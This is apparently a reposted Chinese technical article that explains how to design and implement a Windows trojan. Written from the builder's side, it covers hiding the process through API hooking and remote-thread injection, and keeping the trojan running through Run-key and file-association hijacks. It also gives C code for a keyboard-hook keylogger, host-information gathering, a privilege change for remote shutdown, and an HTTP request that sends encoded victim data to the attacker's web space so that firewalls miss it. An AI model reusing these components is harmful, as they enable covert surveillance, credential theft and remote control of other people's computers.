WINDOWS系统下木马程序的设计与实现

http://www.e-works.net.cn/ewk2004/ewkArticles/509/Article14881.htm 引言 近年来,黑客攻击层出不穷,对网络安全构成了极大的威胁。木马是黑客的主要攻击手段之一,它通过渗透进入对方主机系统,从而实现对目标主机的远程操作,破坏力相当之大。 到目前为止,木马的发展已经历了五代: 第一代木马只是实现简单的密码窃取、发送等,在隐藏和通信方面均无特别之处。 第二代木马的典型代表是冰河,它以文件关联方式启动,通过电子邮件传送信息,在木马技术发展史上开辟了新的篇章。 第三代木马的信息传输方式有所突破,采用ICMP协议,增加了查杀的难度。 第四代木马在进程隐藏方面获得了重大突破,采用插入内核的嵌入方式、利用远程插入线程技术、嵌入DLL线程、或挂接PSAPI等,实现木马程序的隐藏,利用反弹端口技术突破防火墙限制,在Windows NT/2000下取得了良好的隐藏效果。 第五代木马与病毒紧密结合,利用操作系统漏洞,直接实现感染传播的目的,而不必象以前的木马那样需要欺骗用户主动激活,例如最近新出现的类似冲击波病毒的木马—噩梦II。 木马的关键技术 木马基于C/S模式,服务器端程序运行于被控制的主机上,客户端完成控制功能。设计木马时,需考虑几个关键因素:首先要具有深度的隐蔽性,保证木马的隐蔽运行和启动,其次要能顺利实现客户端与服务器端的通信,最后还要根据需要实现其他功能。 一、木马的隐藏 有两种方法可以隐藏木马:一种是DLL 木马,它让木马消失在进程列表里,但程序的进程仍然存在;另一种方法则是线程注入式木马,它让程序彻底消失,不以进程或服务方式工作。 1、DLL木马 只要把木马服务器端的程序注册为一个服务,系统就不会再把它当作进程,程序便会从任务列表中消失,按下Ctrl+Alt+Delete后,也就看不到该程序。 此方法首先要装载Kernel32.dll,然后在该DLL中确定函数RegisterServiceProcess()的地址进行调用,但只适用于Windows9x/Me的系统,Windows NT/2000通过服务管理器依然能够发现在系统中注册过的服务。 在Windows NT/2000下可采用过滤进程的方法(即API拦截技术),通过建立一个后台系统钩子(hook),拦截PSAPI的EnumProcessModules等相关函数控制进程和服务的遍历调用,当检测到木马程序的服务器端进程时直接跳过,从而实现进程的隐藏。这种方法应用广泛,除了用于进程隐藏以外,还广泛应用于诸多即时软件,如金山词霸就使用类似方法,拦截TextOutA、TextOutW函数,截获屏幕输出,实现即时翻译。 DLL文件是Windows的基础,所有的API函数都是在DLL中实现的。DLL由多个功能函数构成,入口函数是DllMain,它并不能独立运行,一般由进程加载并调用。由于DLL文件不能独立运行,所以在进程列表中并不会出现DLL,而只出现加载进程。运行DLL文件隐藏进程的最简单方法是利用Rundll32.exe,但也很容易被识破,比较高级的做法是使用特洛伊DLL,它使用木马DLL替换常用的DLL文件,通过函数转发器将正常的调用转发给原DLL,截获并处理特定的消息。但是,WINDOWS操作系统对此具有相当的防范,Win2000的system32目录下有一个dllcache目录,存放着大量的DLL文件(还包括一些重要的exe文件),一旦操作系统发现被保护的DLL文件被篡改,就会自动从dllcache中恢复该文件。此外,特洛伊DLL方法本身也存在一些漏洞(如修复安装、安装补丁、升级系统、检查数字签名等都可能导致特洛伊DLL失效),并不是DLL木马的最优选择。尽管如此,仍有很多方法可以绕过DLL保护(如先更改dllcache目录中的备份再修改DLL文件、或利用KnownDLLs键值更改DLL的默认启动路径等)。 2、线程注入式木马 更好的隐藏方式是使木马程序不以进程和服务的方式存在,而是完全溶入系统内核。因此,在设计时,我们不应把它做成一个应用程序,而是做成一个可以注入应用程序地址空间的线程。该应用程序必须确保绝对安全,这样才能达到彻底隐藏的效果,增加查杀的难度。线程注入式木马采用动态嵌入技术将自己的代码嵌入正在运行的进程中。 Windows中每个进程都有自己的私有内存空间,其他进程不得对该私有空间进行操作,但实际上,有很多方法可操作私有空间。动态嵌入技术很多,如窗口Hook、挂接API、远程线程等,远程线程技术相对简单,只要有基本的进程线程和动态链接库的知识就可以轻松实现。 远程线程技术指的是通过在一个远程进程中创建远程线程的方法进入该进程的内存地址空间。可以通过CreateRemoteThread函数在一个远程进程内创建远程线程,被创建的远程线程可以共享远程进程的地址空间,这样就可以通过该线程进入远程进程的内存地址空间,从而拥有了远程进程相当的权限,如在远程进程内部启动一个DLL木马,甚至可以随意篡改其中的数据。远程线程技术的关键在于要将线程函数执行体及其参数复制到远程进程空间中,否则远程线程会在执行时因找不到参数而报错。 二、木马服务器端程序的自加载运行 程序自运行的常见方法有:加载程序到启动组;将程序启动路径写到注册表的HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run子键(以及RunOnce、RunService、RunOnceService等);修改Boot.ini;通过注册表中的输入法键值直接挂接启动;修改Explorer.exe启动参数以及在win.ini和system.ini中的load节中添加启动项;在Autoexec.bat中添加程序等。 下面的程序通过修改注册表中HKEY_LOCAL_MACHINE/ Microsoft/ SOFTWARE/Windows/CurrentVersions/Run的键值实现木马的自启动: RegCreateKeyEx( HKEY_LOCAL_MACHINE, // handle to open key " SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN", // subkey 0,NULL, // class string REG_OPTION_NON_VOLATILE, // special options KEY_READ|KEY_WRITE, // desired security access NULL,&mKeyClass,&dwDisposition // disposition value buffer ); RegSetValueEx(mKeyClass,NULL,0,REG_SZ, (const unsigned char *)Name, lstrlen(PathBuf)+1); RegCloseKey(mKeyClass); 冰河木马就采用了文件关联实现木马的启动。以文本文件关联为例,注册表中HKEY_CLASSES_ROOT/txtfile/shell/open/command的值是文本文件(*.txt文件)的关联处,缺省为“%SystemRoot%/system32/NOTEPAD.EXE %1”,将其改为木马程序,那么,以后打开文本文件时就会先执行木马程序,木马启动后,再运行notepad.exe打开指定文件。这个过程在一般人来看,好像什么事也没发生过。 DLL木马替换了系统原有的动态连接库,系统装载这些连接库时就启动了木马。这种启动方式相当隐蔽,著名的GINA木马就是通过替换系统的GINA程序,在木马DLL中导出系统函数,实现系统正常功能,然后再根据需要实现自身的木马功能。 三、木马程序的通信 木马程序传递数据的方法很多,最常见是用TCP、UDP协议,但这种方法的隐蔽性比较差,容易查到,例如,用netstat命令就可以查看到当前活动的TCP、UDP连接。 但仍有很多手段躲避这种侦察,笔者曾尝试过以下两种方法: 一种方法是将木马的通信连接绑定在通用端口上,通过这些服务端口发送信息。例如:将被攻击主机的信息以电子邮件的形式传送到攻击者的电子信箱或上传到某FTP主机上,也可用免费主页空间作信息中转站。利用FTP协议将信息上传到FTP站点的做法很容易被跟踪,利用SMTP协议将信息通过电子邮件方式回传不易被反跟踪,最多只能找到攻击者信箱,但防火墙和一些杀毒软件发现本地有邮件发送时,可能会将其屏蔽并提示用户。利用HTTP协议上传信息对攻击者相当安全,防火墙无法分辨传送的信息是用户上网浏览的交互信息还是木马发送的个人信息,这种方法将在后面进行详细介绍。但是,这些手段都要通过建立TCP连接传递命令和数据的,所以存在一个致命漏洞:木马在等待和运行的过程中,始终有一个和外界联系的端口打开着。 另一种办法是使用ICMP协议。ICMP报文由系统内核或进程直接处理而不通过端口,如果木马将自己伪装成一个Ping进程,系统就会将ICMP_ECHOREPLY(Ping的回应包)的监听、处理权交给木马进程,一旦事先约定好的ICMP_ECHOREPLY包出现(这样的包经过修改ICMP包头,加入了木马的控制字段),木马就会接受、分析并从报文中解析出命令和数据。防火墙一般不会对ICMP_ECHOREPLY报文进行过滤,因为过滤ICMP_ECHOREPLY报文就意味着主机无法对外进行Ping等路由诊断操作。 DLL木马的功能实现 木马的主要功能包括:获取击键记录、获取主机信息、上传主机信息以及接受控制端命令远程关机等。 1、在主程序中设置钩子: 实现记录按键的方法主要利用键盘钩子和通过设计低层键盘驱动程序实现,使用键盘钩子实现的代码如下: SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,g_module,0); 其中KeyboardProc是回调函数: LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) { if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam); if(code==HC_ACTION) { EVENTMSG *pEvt=(EVENTMSG *)lParam; if(pEvt->message==WM_KEYDOWN) { …//判断是否击键,是则记录到文件中 } } return CallNextHookEx(g_hLogHook,code,wParam,lParam); } 2、获取主机信息(包括主机名、IP地址、操作系统版本等): WORD wVersionRequested = MAKEWORD(1, 1); WSADATA wsaData; WSAStartup(wVersionRequested, &wsaData); char hostname[256]; int res = gethostname(hostname, sizeof(hostname)); //获取主机名 hostent* pHostent = gethostbyname(hostname); //获取主机IP地址 hostent& he = *pHostent; sockaddr_in sa; memcpy ( &sa.sin_addr.s_addr, he.h_addr_list[0],he.h_length); lstrcpy(&MyIP[0] , inet_ntoa(sa.sin_addr)); WSACleanup(); dwVersion = GetVersion(); //得到WINDOWS的版本号 dwWindowsMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion))); dwWindowsMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion))); if (dwVersion < 0x80000000) // 是Windows NT系统 dwBuild = (DWORD)(HIWORD(dwVersion)); else if (dwWindowsMajorVersion < 4) // 是Win32系统 dwBuild = (DWORD)(HIWORD(dwVersion) & ~0x8000); else // 是Windows 95系统 dwBuild = 0; 3、远程关机: 当木马程序接收到关机命令时,执行关机操作,需要提升权限,否则系统认为权限不够将禁止其执行。 提升权限: HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; if ( ! OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) return; LookupPrivilegeValue( NULL, SE_SHUTDOWN_NAME, &sedebugnameValue ); tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) ) CloseHandle( hToken ); 关机: ExitWindowsEx(EWX_SHUTDOWN, 0); 4、上传主机信息: 木马获取主机信息之后,将其回传到攻击者主机、邮箱或主页空间。 上传到主页空间要使用HTTP协议,构造协议包如下: char header[1324]="GET HTTP://"; char html[]="HTTP/1.0/r/n Accept:*/*/r/nAccept-language:ZH-cn/r/n User-Agent:Mozilla/4.0(compatible,MSIE,windows95)/r/nhost:"; char hend[]="/r/nproxy-connection:keep-alive/r/n/r/n"; 然后填充信息: lstrcat(header,hmyip[0]);// hmyip即为攻击者的主页空间地址 lstrcat(header,"/cgi-bin/fh.cgi?"); lstrcat(header,str); //str就是要上传的信息,需要先经过Base64编码 lstrcat(header,html); lstrcat(header,hmyip[0]); lstrcat(header,hend); 构造好协议包之后,利用socket通信将该包发给服务器即可。这种方法安全隐蔽,防火墙无法判断出传送的数据是否合法。 5、新的传播方式:以往的木马在传播方式上缺乏十分有效的手段,主要利用社会工程学知识诱骗用户点击链接,或将木马程序与其他程序捆绑在一起,欺骗用户执行程序。随着人们安全意识的不断提高,这种方法已经越来越难奏效。病毒的传播方式启发木马的设计者利用操作系统漏洞(如WINDOWS系统下的缓冲区溢出漏洞),将木马代码写入SHELLCODE,只要通过远程向目标主机发送一个数据包,目标主机就会发生缓冲区溢出,代码跳转执行SHELLCODE,将木马植入目标主机,无需用户介入。冲击波病毒就是利用了WINDOWS系统的RPC漏洞。 结束语 “道高一尺、魔高一丈”,攻击与防御是相辅相承的关系,攻击手段的进步最终必然导致防御技术的提高,而为了突破防御能力增强的系统,攻击者又会找到新的攻击方式,木马技术也将随之得以不断的扩充和发展。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章